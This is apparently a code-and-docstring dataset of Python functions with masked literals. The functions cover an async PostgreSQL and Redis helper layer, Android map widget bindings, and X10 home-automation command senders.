{"signature": "@classmethod<EOL><INDENT>@coroutine<EOL>def get_pool(cls) -> Pool:<DEDENT>", "body": "if len(cls._connection_params) < <NUM_LIT:5>:<EOL><INDENT>raise ConnectionError('<STR_LIT>')<EOL><DEDENT>if not cls._pool:<EOL><INDENT>cls._pool = yield from create_pool(**cls._connection_params)<EOL><DEDENT>return cls._pool<EOL>", "docstring": "Yields:\n    existing db connection pool", "id": "f41:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>@coroutine<EOL>def get_cursor(cls, cursor_type=_CursorType.PLAIN) -> Cursor:<DEDENT>", "body": "_cur = None<EOL>if cls._use_pool:<EOL><INDENT>_connection_source = yield from cls.get_pool()<EOL><DEDENT>else:<EOL><INDENT>_connection_source = yield from aiopg.connect(echo=False, **cls._connection_params)<EOL><DEDENT>if cursor_type == _CursorType.PLAIN:<EOL><INDENT>_cur = yield from _connection_source.cursor()<EOL><DEDENT>if cursor_type == _CursorType.NAMEDTUPLE:<EOL><INDENT>_cur = yield from _connection_source.cursor(cursor_factory=psycopg2.extras.NamedTupleCursor)<EOL><DEDENT>if cursor_type == _CursorType.DICT:<EOL><INDENT>_cur = yield from _connection_source.cursor(cursor_factory=psycopg2.extras.DictCursor)<EOL><DEDENT>if not cls._use_pool:<EOL><INDENT>_cur = cursor_context_manager(_connection_source, _cur)<EOL><DEDENT>return _cur<EOL>", "docstring": "Yields:\n    new client-side cursor from existing db connection pool", "id": "f41:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>@coroutine<EOL>@cursor<EOL>def count(cls, cur, table:str, where_keys: list=None):<DEDENT>", "body": "if where_keys:<EOL><INDENT>where_clause, values = cls._get_where_clause_with_values(where_keys)<EOL>query = cls._count_query_where.format(table, where_clause)<EOL>q, t = query, values<EOL><DEDENT>else:<EOL><INDENT>query = cls._count_query.format(table)<EOL>q, t = query, ()<EOL><DEDENT>yield from cur.execute(q, t)<EOL>result = yield from cur.fetchone()<EOL>return int(result[<NUM_LIT:0>])<EOL>", "docstring": "gives the number of records in the table\n\nArgs:\n    table: a string indicating the name of the table\n\nReturns:\n    an integer indicating the number of records in the table", "id": "f41:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>@coroutine<EOL>@nt_cursor<EOL>def insert(cls, cur, table: str, values: dict):<DEDENT>", "body": "keys = cls._COMMA.join(values.keys())<EOL>value_place_holder = cls._PLACEHOLDER * len(values)<EOL>query = cls._insert_string.format(table, keys, value_place_holder[:-<NUM_LIT:1>])<EOL>yield from cur.execute(query, tuple(values.values()))<EOL>return (yield from cur.fetchone())<EOL>", "docstring": "Creates an insert statement with only chosen fields\n\nArgs:\n    table: a string indicating the name of the table\n    values: a dict of fields and values to be inserted\n\nReturns:\n    A 'Record' object with table columns as properties", "id": "f41:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>@coroutine<EOL>@nt_cursor<EOL>def update(cls, cur, table: str, values: dict, where_keys: list) -> tuple:<DEDENT>", "body": "keys = cls._COMMA.join(values.keys())<EOL>value_place_holder = cls._PLACEHOLDER * len(values)<EOL>where_clause, where_values = cls._get_where_clause_with_values(where_keys)<EOL>query = cls._update_string.format(table, keys, value_place_holder[:-<NUM_LIT:1>], where_clause)<EOL>yield from cur.execute(query, (tuple(values.values()) + where_values))<EOL>return (yield from cur.fetchall())<EOL>", "docstring": "Creates an update query with only chosen fields\nSupports only a single field where clause\n\nArgs:\n    table: a string indicating the name of the table\n    values: a dict of fields and values to be inserted\n    where_keys: list of dictionary\n    example of where keys: [{'name':('>', 'cip'),'url':('=', 'cip.com'},{'type':{'<=', 'manufacturer'}}]\n    where_clause will look like ((name>%s and url=%s) or (type <= %s))\n    items within each dictionary get 'AND'-ed and dictionaries themselves get 'OR'-ed\n\nReturns:\n    an integer indicating count of rows deleted", "id": "f41:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>@coroutine<EOL>@cursor<EOL>def delete(cls, cur, table: str, where_keys: list):<DEDENT>", "body": "where_clause, values = cls._get_where_clause_with_values(where_keys)<EOL>query = cls._delete_query.format(table, where_clause)<EOL>yield from cur.execute(query, values)<EOL>return cur.rowcount<EOL>", "docstring": "Creates a delete query with where keys\nSupports multiple where clause with and or or both\n\nArgs:\n    table: a string indicating the name of the table\n    where_keys: list of dictionary\n    example of where keys: [{'name':('>', 'cip'),'url':('=', 'cip.com'},{'type':{'<=', 'manufacturer'}}]\n    where_clause will look like ((name>%s and url=%s) or (type <= %s))\n    items within each dictionary get 'AND'-ed and dictionaries themselves get 'OR'-ed\n\nReturns:\n    an integer indicating count of rows deleted", "id": "f41:c0:m8"}
{"signature": "@classmethod<EOL><INDENT>@coroutine<EOL>@nt_cursor<EOL>def select(cls, cur, table: str, order_by: str, columns: list=None, where_keys: list=None, limit=<NUM_LIT:100>,<EOL>offset=<NUM_LIT:0>):<DEDENT>", "body": "if columns:<EOL><INDENT>columns_string = cls._COMMA.join(columns)<EOL>if where_keys:<EOL><INDENT>where_clause, values = cls._get_where_clause_with_values(where_keys)<EOL>query = cls._select_selective_column_with_condition.format(columns_string, table, where_clause,<EOL>order_by, limit, offset)<EOL>q, t = query, values<EOL><DEDENT>else:<EOL><INDENT>query = cls._select_selective_column.format(columns_string, table, order_by, limit, offset)<EOL>q, t = query, ()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if where_keys:<EOL><INDENT>where_clause, values = cls._get_where_clause_with_values(where_keys)<EOL>query = cls._select_all_string_with_condition.format(table, where_clause, order_by, limit, offset)<EOL>q, t = query, values<EOL><DEDENT>else:<EOL><INDENT>query = cls._select_all_string.format(table, order_by, limit, offset)<EOL>q, t = query, ()<EOL><DEDENT><DEDENT>yield from cur.execute(q, t)<EOL>return (yield from cur.fetchall())<EOL>", "docstring": "Creates a select query for selective columns with where keys\nSupports multiple where claus with and or or both\n\nArgs:\n    table: a string indicating the name of the table\n    order_by: a string indicating column name to order the results on\n    columns: list of columns to select from\n    where_keys: list of dictionary\n    limit: the limit on the number of results\n    offset: offset on the results\n\n    example of where keys: [{'name':('>', 'cip'),'url':('=', 'cip.com'},{'type':{'<=', 'manufacturer'}}]\n    where_clause will look like ((name>%s and url=%s) or (type <= %s))\n    items within each dictionary get 'AND'-ed and across dictionaries get 'OR'-ed\n\nReturns:\n    A list of 'Record' object with table columns as properties", "id": "f41:c0:m9"}
{"signature": "@classmethod<EOL><INDENT>@coroutine<EOL>@nt_cursor<EOL>def raw_sql(cls, cur, query: str, values: tuple):<DEDENT>", "body": "yield from cur.execute(query, values)<EOL>return (yield from cur.fetchall())<EOL>", "docstring": "Run a raw sql query\n\nArgs:\n    query : query string to execute\n    values : tuple of values to be used with the query\n\nReturns:\n    result of query as list of named tuple", "id": "f41:c0:m10"}
{"signature": "def connect(self, host, port, minsize=<NUM_LIT:5>, maxsize=<NUM_LIT:10>, loop=asyncio.get_event_loop()):", "body": "self._pool = yield from aioredis.create_pool((host, port), minsize=minsize, maxsize=maxsize, loop=loop)<EOL>", "docstring": "Setup a connection pool\n:param host: Redis host\n:param port: Redis port\n:param loop: Event loop", "id": "f42:c0:m1"}
{"signature": "def set_key(self, key, value, namespace=None, expire=<NUM_LIT:0>):", "body": "with (yield from self._pool) as redis:<EOL><INDENT>if namespace is not None:<EOL><INDENT>key = self._get_key(namespace, key)<EOL><DEDENT>yield from redis.set(key, value, expire=expire)<EOL><DEDENT>", "docstring": "Set a key in a cache.\n:param key: Key name\n:param value: Value\n:param namespace : Namespace to associate the key with\n:param expire: expiration\n:return:", "id": "f42:c0:m2"}
{"signature": "def indexesOptional(f):", "body": "stack = inspect.stack()<EOL>_NO_INDEX_CHECK_NEEDED.add('<STR_LIT>' % (f.__module__, stack[<NUM_LIT:1>][<NUM_LIT:3>], f.__name__))<EOL>del stack<EOL>return f<EOL>", "docstring": "Decorate test methods with this if you don't require strict index checking", "id": "f44:m1"}
{"signature": "def handle_change(self, change):", "body": "op = change['<STR_LIT>']<EOL>if op in '<STR_LIT>':<EOL><INDENT>self.add(len(change['<STR_LIT:value>']), LatLng(*change['<STR_LIT>']))<EOL><DEDENT>elif op == '<STR_LIT>':<EOL><INDENT>self.add(change['<STR_LIT:index>'], LatLng(*change['<STR_LIT>']))<EOL><DEDENT>elif op == '<STR_LIT>':<EOL><INDENT>points = [LatLng(*p) for p in change['<STR_LIT>']]<EOL>self.addAll([bridge.encode(c) for c in points])<EOL><DEDENT>elif op == '<STR_LIT>':<EOL><INDENT>self.set(change['<STR_LIT:index>'], LatLng(*change['<STR_LIT>']))<EOL><DEDENT>elif op == '<STR_LIT>':<EOL><INDENT>self.remove(change['<STR_LIT:index>'])<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError(<EOL>\"<STR_LIT>\".format(op))<EOL><DEDENT>", "docstring": "Handle changes from atom ContainerLists", "id": "f70:c1:m1"}
{"signature": "def create_widget(self):", "body": "self.init_options()<EOL>MapFragment.newInstance(self.options).then(<EOL>self.on_map_fragment_created)<EOL>self.widget = FrameLayout(self.get_context())<EOL>self.map = GoogleMap(__id__=bridge.generate_id())<EOL>", "docstring": "Create the underlying widget.", "id": "f70:c24:m0"}
{"signature": "def init_options(self):", "body": "self.options = GoogleMapOptions()<EOL>d = self.declaration<EOL>self.set_map_type(d.map_type)<EOL>if d.ambient_mode:<EOL><INDENT>self.set_ambient_mode(d.ambient_mode)<EOL><DEDENT>if (d.camera_position or d.camera_zoom or<EOL>d.camera_tilt or d.camera_bearing):<EOL><INDENT>self.update_camera()<EOL><DEDENT>if d.map_bounds:<EOL><INDENT>self.set_map_bounds(d.map_bounds)<EOL><DEDENT>if not d.show_compass:<EOL><INDENT>self.set_show_compass(d.show_compass)<EOL><DEDENT>if not d.show_zoom_controls:<EOL><INDENT>self.set_show_zoom_controls(d.show_zoom_controls)<EOL><DEDENT>if not d.show_toolbar:<EOL><INDENT>self.set_show_toolbar(d.show_toolbar)<EOL><DEDENT>if d.lite_mode:<EOL><INDENT>self.set_lite_mode(d.lite_mode)<EOL><DEDENT>if not d.rotate_gestures:<EOL><INDENT>self.set_rotate_gestures(d.rotate_gestures)<EOL><DEDENT>if not d.scroll_gestures:<EOL><INDENT>self.set_scroll_gestures(d.scroll_gestures)<EOL><DEDENT>if not d.tilt_gestures:<EOL><INDENT>self.set_tilt_gestures(d.tilt_gestures)<EOL><DEDENT>if not d.zoom_gestures:<EOL><INDENT>self.set_zoom_gestures(d.zoom_gestures)<EOL><DEDENT>if d.min_zoom:<EOL><INDENT>self.set_min_zoom(d.min_zoom)<EOL><DEDENT>if d.max_zoom:<EOL><INDENT>self.set_max_zoom(d.max_zoom)<EOL><DEDENT>", "docstring": "Initialize the underlying map options.", "id": "f70:c24:m1"}
{"signature": "def init_map(self):", "body": "d = self.declaration<EOL>if d.show_location:<EOL><INDENT>self.set_show_location(d.show_location)<EOL><DEDENT>if d.show_traffic:<EOL><INDENT>self.set_show_traffic(d.show_traffic)<EOL><DEDENT>if d.show_indoors:<EOL><INDENT>self.set_show_indoors(d.show_indoors)<EOL><DEDENT>if d.show_buildings:<EOL><INDENT>self.set_show_buildings(d.show_buildings)<EOL><DEDENT>mapview = self.map<EOL>mid = mapview.getId()<EOL>mapview.onCameraChange.connect(self.on_camera_changed)<EOL>mapview.onCameraMoveStarted.connect(self.on_camera_move_started)<EOL>mapview.onCameraMoveCanceled.connect(self.on_camera_move_stopped)<EOL>mapview.onCameraIdle.connect(self.on_camera_move_stopped)<EOL>mapview.setOnCameraChangeListener(mid)<EOL>mapview.setOnCameraMoveStartedListener(mid)<EOL>mapview.setOnCameraMoveCanceledListener(mid)<EOL>mapview.setOnCameraIdleListener(mid)<EOL>mapview.onMapClick.connect(self.on_map_clicked)<EOL>mapview.setOnMapClickListener(mid)<EOL>mapview.onMapLongClick.connect(self.on_map_long_clicked)<EOL>mapview.setOnMapLongClickListener(mid)<EOL>mapview.onMarkerClick.connect(self.on_marker_clicked)<EOL>mapview.setOnMarkerClickListener(self.map.getId())<EOL>mapview.onMarkerDragStart.connect(self.on_marker_drag_start)<EOL>mapview.onMarkerDrag.connect(self.on_marker_drag)<EOL>mapview.onMarkerDragEnd.connect(self.on_marker_drag_end)<EOL>mapview.setOnMarkerDragListener(mid)<EOL>mapview.onInfoWindowClick.connect(self.on_info_window_clicked)<EOL>mapview.onInfoWindowLongClick.connect(self.on_info_window_long_clicked)<EOL>mapview.onInfoWindowClose.connect(self.on_info_window_closed)<EOL>mapview.setOnInfoWindowClickListener(mid)<EOL>mapview.setOnInfoWindowCloseListener(mid)<EOL>mapview.setOnInfoWindowLongClickListener(mid)<EOL>mapview.onPolygonClick.connect(self.on_poly_clicked)<EOL>mapview.onPolylineClick.connect(self.on_poly_clicked)<EOL>mapview.setOnPolygonClickListener(mid)<EOL>mapview.setOnPolylineClickListener(mid)<EOL>mapview.onCircleClick.connect(self.on_circle_clicked)<EOL>mapview.setOnCircleClickListener(mid)<EOL>", "docstring": "Add markers, polys, callouts, etc..", "id": "f70:c24:m2"}
{"signature": "def init_info_window_adapter(self):", "body": "adapter = self.adapter<EOL>if adapter:<EOL><INDENT>return  <EOL><DEDENT>adapter = GoogleMap.InfoWindowAdapter()<EOL>adapter.getInfoContents.connect(self.on_info_window_contents_requested)<EOL>adapter.getInfoWindow.connect(self.on_info_window_requested)<EOL>self.map.setInfoWindowAdapter(adapter)<EOL>", "docstring": "Initialize the info window adapter. Should only be done if one of \n        the markers defines a custom view.", "id": "f70:c24:m3"}
{"signature": "def on_map_fragment_created(self, obj_id):", "body": "self.fragment = MapFragment(__id__=obj_id)<EOL>self.map.onMapReady.connect(self.on_map_ready)<EOL>self.fragment.getMapAsync(self.map.getId())<EOL>context = self.get_context()<EOL>def on_transaction(id):<EOL><INDENT>trans = FragmentTransaction(__id__=id)<EOL>trans.add(self.widget.getId(), self.fragment)<EOL>trans.commit()<EOL><DEDENT>def on_fragment_manager(id):<EOL><INDENT>fm = FragmentManager(__id__=id)<EOL>fm.beginTransaction().then(on_transaction)<EOL><DEDENT>context.widget.getSupportFragmentManager().then(on_fragment_manager)<EOL>", "docstring": "Create the fragment and pull the map reference when it's loaded.", "id": "f70:c24:m4"}
{"signature": "def on_map_clicked(self, pos):", "body": "d = self.declaration<EOL>d.clicked({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': tuple(pos)<EOL>})<EOL>", "docstring": "Called when the map is clicked", "id": "f70:c24:m8"}
{"signature": "def on_map_long_clicked(self, pos):", "body": "d = self.declaration<EOL>d.clicked({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': tuple(pos)<EOL>})<EOL>", "docstring": "Called when the map is clicked", "id": "f70:c24:m9"}
{"signature": "def add_to_map(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Add this item to the map", "id": "f70:c25:m1"}
{"signature": "def destroy(self):", "body": "marker = self.marker<EOL>parent = self.parent()<EOL>if marker:<EOL><INDENT>if parent:<EOL><INDENT>del parent.markers[marker.__id__]<EOL><DEDENT>marker.remove()<EOL><DEDENT>super(AndroidMapItemBase, self).destroy()<EOL>", "docstring": "Remove the marker if it was added to the map when destroying", "id": "f70:c25:m2"}
{"signature": "def create_widget(self):", "body": "self.options = MarkerOptions()<EOL>", "docstring": "Create the MarkerOptions for this map marker\n        this later gets converted into a \"Marker\" instance when addMarker \n        is called", "id": "f70:c26:m0"}
{"signature": "def child_added(self, child):", "body": "if child.widget:<EOL><INDENT>self.parent().init_info_window_adapter()<EOL><DEDENT>super(AndroidMapMarker, self).child_added(child)<EOL>", "docstring": "If a child is added we have to make sure the map adapter exists", "id": "f70:c26:m3"}
{"signature": "def on_marker(self, marker):", "body": "mid, pos = marker<EOL>self.marker = Marker(__id__=mid)<EOL>mapview = self.parent()<EOL>mapview.markers[mid] = self<EOL>self.marker.setTag(mid)<EOL>for w in self.child_widgets():<EOL><INDENT>mapview.init_info_window_adapter()<EOL>break<EOL><DEDENT>d = self.declaration<EOL>if d.show_info:<EOL><INDENT>self.set_show_info(d.show_info)<EOL><DEDENT>del self.options<EOL>", "docstring": "Convert our options into the actual marker object", "id": "f70:c26:m4"}
{"signature": "def create_widget(self):", "body": "self.options = CircleOptions()<EOL>", "docstring": "Create the CircleOptions for this map item\n        this later gets converted into a \"Circle\" instance when addCircle \n        is called", "id": "f70:c27:m0"}
{"signature": "def on_marker(self, mid):", "body": "self.marker = Circle(__id__=mid)<EOL>self.parent().markers[mid] = self<EOL>self.marker.setTag(mid)<EOL>d = self.declaration<EOL>if d.clickable:<EOL><INDENT>self.set_clickable(d.clickable)<EOL><DEDENT>del self.options<EOL>", "docstring": "Convert our options into the actual circle object", "id": "f70:c27:m3"}
{"signature": "def create_widget(self):", "body": "self.options = PolylineOptions()<EOL>self.points = LatLngList()<EOL>", "docstring": "Create the MarkerOptions for this map marker\n        this later gets converted into a \"Marker\" instance when addMarker \n        is called", "id": "f70:c28:m0"}
{"signature": "def on_marker(self, mid):", "body": "<EOL>self.marker = Polyline(__id__=mid)<EOL>self.parent().markers[mid] = self<EOL>self.marker.setTag(mid)<EOL>d = self.declaration<EOL>if d.clickable:<EOL><INDENT>self.set_clickable(d.clickable)<EOL><DEDENT>del self.options<EOL>", "docstring": "Convert our options into the actual marker object", "id": "f70:c28:m3"}
{"signature": "def update_points(self, change):", "body": "<EOL>self.points.handle_change(change)<EOL>self.marker.setPoints(self.points)<EOL>", "docstring": "Update the points in a smart way without passing them over the \n        bridge with every change.", "id": "f70:c28:m6"}
{"signature": "def create_widget(self):", "body": "self.options = PolygonOptions()<EOL>self.points = LatLngList()<EOL>", "docstring": "Create the MarkerOptions for this map marker\n        this later gets converted into a \"Marker\" instance when addMarker \n        is called", "id": "f70:c29:m0"}
{"signature": "def on_marker(self, mid):", "body": "<EOL>self.marker = Polygon(__id__=mid)<EOL>self.parent().markers[mid] = self<EOL>self.marker.setTag(mid)<EOL>d = self.declaration<EOL>if d.clickable:<EOL><INDENT>self.set_clickable(d.clickable)<EOL><DEDENT>del self.options<EOL>", "docstring": "Convert our options into the actual marker object", "id": "f70:c29:m3"}
{"signature": "@observe('<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>','<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def _update_proxy(self, change):<DEDENT>", "body": "<EOL>super(MapView, self)._update_proxy(change)<EOL>", "docstring": "An observer which sends the state change to the proxy.", "id": "f72:c7:m0"}
{"signature": "@observe('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT:title>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def _update_proxy(self, change):<DEDENT>", "body": "<EOL>super(MapMarker, self)._update_proxy(change)<EOL>", "docstring": "An observer which sends the state change to the proxy.", "id": "f72:c8:m0"}
{"signature": "@observe('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def _update_proxy(self, change):<DEDENT>", "body": "<EOL>super(MapCircle, self)._update_proxy(change)<EOL>", "docstring": "An observer which sends the state change to the proxy.", "id": "f72:c9:m0"}
{"signature": "@observe('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:width>', '<STR_LIT>')<EOL><INDENT>def _update_proxy(self, change):<DEDENT>", "body": "if change['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>self.proxy.update_points(change)<EOL><DEDENT>else:<EOL><INDENT>super(MapPolyline, self)._update_proxy(change)<EOL><DEDENT>", "docstring": "An observer which sends the state change to the proxy.", "id": "f72:c10:m0"}
{"signature": "@observe('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL><INDENT>def _update_proxy(self, change):<DEDENT>", "body": "if change['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>self.proxy.update_points(change)<EOL><DEDENT>else:<EOL><INDENT>super(MapPolygon, self)._update_proxy(change)<EOL><DEDENT>", "docstring": "An observer which sends the state change to the proxy.", "id": "f72:c11:m0"}
{"signature": "def run_command(cmd_to_run):", "body": "with tempfile.TemporaryFile() as stdout_file, tempfile.TemporaryFile() as stderr_file:<EOL><INDENT>popen = subprocess.Popen(cmd_to_run, stdout=stdout_file, stderr=stderr_file)<EOL>popen.wait()<EOL>stderr_file.seek(<NUM_LIT:0>)<EOL>stdout_file.seek(<NUM_LIT:0>)<EOL>stderr = stderr_file.read()<EOL>stdout = stdout_file.read()<EOL>if six.PY3:<EOL><INDENT>stderr = stderr.decode()<EOL>stdout = stdout.decode()<EOL><DEDENT>return stderr, stdout<EOL><DEDENT>", "docstring": "Wrapper around subprocess that pipes the stderr and stdout from `cmd_to_run`\nto temporary files. Using the temporary files gets around subprocess.PIPE's\nissues with handling large buffers.\n\nNote: this command will block the python process until `cmd_to_run` has completed.\n\nReturns a tuple, containing the stderr and stdout as strings.", "id": "f94:m0"}
{"signature": "def decode_html_entities(html):", "body": "if not html:<EOL><INDENT>return html<EOL><DEDENT>for entity, char in six.iteritems(html_entity_map):<EOL><INDENT>html = html.replace(entity, char)<EOL><DEDENT>return html<EOL>", "docstring": "Decodes a limited set of HTML entities.", "id": "f94:m9"}
{"signature": "def normalize_housecode(house_code):", "body": "if house_code is None:<EOL><INDENT>raise X10InvalidHouseCode('<STR_LIT>' % house_code)<EOL><DEDENT>if not isinstance(house_code, basestring):<EOL><INDENT>raise X10InvalidHouseCode('<STR_LIT>' % house_code)<EOL><DEDENT>if len(house_code) != <NUM_LIT:1>:<EOL><INDENT>raise X10InvalidHouseCode('<STR_LIT>' % house_code)<EOL><DEDENT>house_code = house_code.upper()<EOL>if not ('<STR_LIT:A>' <= house_code <= '<STR_LIT:P>'):<EOL><INDENT>raise X10InvalidHouseCode('<STR_LIT>' % house_code)<EOL><DEDENT>return house_code<EOL>", "docstring": "Returns a normalized house code, i.e. upper case.\n    Raises exception X10InvalidHouseCode if house code appears to be invalid", "id": "f101:m0"}
{"signature": "def normalize_unitnumber(unit_number):", "body": "try:<EOL><INDENT>try:<EOL><INDENT>unit_number = int(unit_number)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise X10InvalidUnitNumber('<STR_LIT>' % unit_number)<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>raise X10InvalidUnitNumber('<STR_LIT>' % unit_number)<EOL><DEDENT>if not (<NUM_LIT:1> <= unit_number <= <NUM_LIT:16>):<EOL><INDENT>raise X10InvalidUnitNumber('<STR_LIT>' % unit_number)<EOL><DEDENT>return unit_number<EOL>", "docstring": "Returns a normalized unit number, i.e. integers\n    Raises exception X10InvalidUnitNumber if unit number appears to be invalid", "id": "f101:m1"}
{"signature": "def x10_command(self, house_code, unit_number, state):", "body": "house_code = normalize_housecode(house_code)<EOL>if unit_number is not None:<EOL><INDENT>unit_number = normalize_unitnumber(unit_number)<EOL><DEDENT>return self._x10_command(house_code, unit_number, state)<EOL>", "docstring": "Send X10 command to ??? unit.\n\n        @param house_code (A-P) - example='A'\n        @param unit_number (1-16)- example=1 (or None to impact entire house code)\n        @param state - Mochad command/state, See\n                https://sourceforge.net/p/mochad/code/ci/master/tree/README\n                examples=OFF, 'OFF', 'ON', ALL_OFF, 'all_units_off', 'xdim 128', etc.\n\n        Examples:\n            x10_command('A', '1', ON)\n            x10_command('A', '1', OFF)\n            x10_command('A', '1', 'ON')\n            x10_command('A', '1', 'OFF')\n            x10_command('A', None, ON)\n            x10_command('A', None, OFF)\n            x10_command('A', None, 'all_lights_off')\n            x10_command('A', None, 'all_units_off')\n            x10_command('A', None, ALL_OFF)\n            x10_command('A', None, 'all_lights_on')\n            x10_command('A', 1, 'xdim 128')", "id": "f101:c3:m3"}
{"signature": "def _x10_command(self, house_code, unit_number, state):", "body": "print('<STR_LIT>' % ((house_code, unit_number, state), ))<EOL>raise NotImplementedError()<EOL>", "docstring": "Real implementation", "id": "f101:c3:m4"}
{"signature": "def __init__(self, device_address=None, default_type=None):", "body": "self.device_address = device_address or ('<STR_LIT:localhost>', <NUM_LIT>)<EOL>self.default_type = default_type or '<STR_LIT>'<EOL>self.default_type = to_bytes(self.default_type)<EOL>", "docstring": "@param device_address - Optional tuple of (host_address, host_port).\n    Defaults to localhost:1099\n@param default_type - Option type of device to send command,\n    'rf'  or 'pl'. Defaults to 'rf'", "id": "f101:c4:m0"}
{"signature": "def _x10_command(self, house_code, unit_number, state):", "body": "<EOL>log = default_logger<EOL>if state.startswith('<STR_LIT>') or state.startswith('<STR_LIT>') or state.startswith('<STR_LIT>'):<EOL><INDENT>raise NotImplementedError('<STR_LIT>' % ((house_code, unit_num, state), ))<EOL><DEDENT>if unit_number is not None:<EOL><INDENT>house_and_unit = '<STR_LIT>' % (house_code, unit_number)<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError('<STR_LIT>' % ((house_code, unit_number, state), ))<EOL>house_and_unit = house_code<EOL><DEDENT>house_and_unit = to_bytes(house_and_unit)<EOL>state = to_bytes(state)<EOL>mochad_cmd = self.default_type + b'<STR_LIT:U+0020>' + house_and_unit + b'<STR_LIT:U+0020>' + state + b'<STR_LIT:\\n>'  <EOL>log.debug('<STR_LIT>', mochad_cmd)<EOL>mochad_host, mochad_port = self.device_address<EOL>result = netcat(mochad_host, mochad_port, mochad_cmd)<EOL>log.debug('<STR_LIT>', result)<EOL>", "docstring": "Real implementation", "id": "f101:c4:m1"}
{"signature": "def __init__(self, device_address=None):", "body": "log = default_logger<EOL>log.debug('<STR_LIT>', firecracker, x10)<EOL>if firecracker is None and x10 is None:<EOL><INDENT>raise X10BaseException('<STR_LIT>')  <EOL><DEDENT>if device_address is None:<EOL><INDENT>log.info('<STR_LIT>')<EOL>possible_serial_ports = list(serial.tools.list_ports.comports())<EOL>log.debug('<STR_LIT>', possible_serial_ports)<EOL>device_address = possible_serial_ports[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>log.debug('<STR_LIT>')<EOL><DEDENT>self.device_address = device_address<EOL>log.debug('<STR_LIT>', self.device_address)<EOL>", "docstring": "@param device_address - Optional name of serial port\n    Defaults to first found serial port", "id": "f101:c5:m0"}
{"signature": "def _x10_command(self, house_code, unit_number, state):", "body": "<EOL>log = default_logger<EOL>def scale_255_to_8(x):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>factor = x / <NUM_LIT><EOL>return <NUM_LIT:8> - int(abs(round(<NUM_LIT:8> * factor)))<EOL><DEDENT>def scale_31_to_8(x):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>factor = x / <NUM_LIT><EOL>return <NUM_LIT:8> - int(abs(round(<NUM_LIT:8> * factor)))<EOL><DEDENT>serial_port_name = self.device_address<EOL>house_code = normalize_housecode(house_code)<EOL>if unit_number is not None:<EOL><INDENT>unit_number = normalize_unitnumber(unit_number)<EOL><DEDENT>else:<EOL><INDENT>if firecracker:<EOL><INDENT>log.error('<STR_LIT>')<EOL><DEDENT><DEDENT>if firecracker:<EOL><INDENT>log.debug('<STR_LIT>', (serial_port_name, house_code, unit_number, state))<EOL>firecracker.send_command(serial_port_name, house_code, unit_number, state)<EOL><DEDENT>else:<EOL><INDENT>if unit_number is not None:<EOL><INDENT>if state.startswith('<STR_LIT>') or state.startswith('<STR_LIT>') or state.startswith('<STR_LIT>'):<EOL><INDENT>dim_count = int(state.split()[-<NUM_LIT:1>])<EOL>if state.startswith('<STR_LIT>'):<EOL><INDENT>dim_count = scale_255_to_8(dim_count)<EOL><DEDENT>else:<EOL><INDENT>dim_count = scale_31_to_8(dim_count)<EOL><DEDENT>dim_str = '<STR_LIT>' % (house_code, )<EOL>dim_list = []<EOL>for _ in range(dim_count):<EOL><INDENT>dim_list.append(dim_str)<EOL><DEDENT>dim_str = '<STR_LIT>'.join(dim_list)<EOL>if dim_count == <NUM_LIT:0>:<EOL><INDENT>x10_command_str = '<STR_LIT>' % (house_code, unit_number, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>x10_command_str = '<STR_LIT>' % (house_code, unit_number, '<STR_LIT>', house_code, unit_number, '<STR_LIT>', dim_str)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>x10_command_str = '<STR_LIT>' % (house_code, unit_number, state)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>state = x10_mapping[state]<EOL>x10_command_str = '<STR_LIT>' % (house_code, state)<EOL><DEDENT>log.debug('<STR_LIT>', x10_command_str)<EOL>x10.sendCommands(serial_port_name, x10_command_str)<EOL><DEDENT>", "docstring": "Real implementation", "id": "f101:c5:m1"}
